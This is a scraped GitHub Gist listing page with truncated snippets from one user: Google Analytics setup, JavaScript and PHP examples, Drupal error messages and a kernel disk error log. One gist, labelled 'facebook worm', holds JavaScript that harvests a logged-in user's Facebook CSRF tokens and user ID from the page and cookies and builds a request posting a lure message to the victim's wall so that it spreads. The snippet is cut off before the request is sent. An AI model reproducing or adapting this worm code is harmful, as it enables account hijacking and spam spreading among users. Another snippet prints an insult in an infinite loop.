Skip to content

Instantly share code, notes, and snippets.

var _gaq = _gaq || [];
//Enter GA Account ID
_gaq.push(['_setAccount', 'UA-xxxxxxx-x']);
//extract parameters from URI
var extractParamFromUri = function(uri, paramName) {
if (!uri) {
return;
}
<?php
$i=1;
while($i=1){
echo "Ashish Sucks";
}
@gaurish
gaurish / function.js
Created November 7, 2011 11:43
JavaScript Function Declaration Patterns
// Style #1
function foo() {
//do something
}
//Style #2
var foo = function(){
//do something
}
@gaurish
gaurish / gist:1348002
Created November 8, 2011 15:17
facebook worm
var post_form_id = document['getElementsByName']('post_form_id')[0]['value'];
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/profile/composer.php?__a=1';
var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u3bbpq_21&xhpc_targetid=' + user_id + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=HEY%20CHECK%20THIS%20OUT&xhpc_message=HEY%20CHECK%20THIS%20OUT&aktion=post&app_id=2309869772&attachment[params][0]=295237773827258?&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320586865&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '';
httpwp['open']('POST', urlwp, true)
$this->fail(st('Failed to connect to your database server. The server reports the following message: %error.', array('%error' => $e->getMessage())));
echo '<ul><li>Is the database server running?</li>';
echo '<li>Does the database exist, and have you entered the correct database name?</li>'
echo '<li>Have you entered the correct username and password?</li>'
echo '<li>Have you entered the correct database hostname?</li></ul>';
$this->fail(st('Failed to connect to your database server. The server reports the following message: %error.<ul>
<li>Is the database server running?</li>
<li>Does the database exist, and have you entered the correct database name?</li>
<li>Have you entered the correct username and password?</li>
<li>Have you entered the correct database hostname?</li>>',
array('%error' => $e->getMessage())));
$this->fail(st('<li>Have you checked location of unix socket file e.g mysqld.sock & verified file does actually exist?</li></ul>'));
function test(){
alert("function fired!");
}
Drupal.settings.tableHeaderOffset = 'test'
//calls test() function
eval(Drupal.settings.tableHeaderOffset + '()');
<?php
function http_check($url=NULL)
{
if($url == NULL) return false;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_TIMEOUT, 25);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
<?php
$form['message'] = array(
'#type' => 'textarea',
'#resizable' => 'vertical', // default
);
?>
which is turned into
<?php
$element['#attributes']['class'][] = 'resize-vertical';
ata4: lost interrupt (Status 0x50)
ata4.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x6 frozen
ata4.01: failed command: WRITE DMA
ata4.01: cmd ca/00:08:80:c6:f5/00:00:00:00:00/f6 tag 0 dma 4096 out
res 40/00:00:00:4f:c2/00:00:00:00:00/50 Emask 0x4 (timeout)
ata4.01: status: { DRDY }
ata4: soft resetting link
ata4.01: configured for UDMA/33
ata4.01: device reported invalid CHS sector 0
ata4: EH complete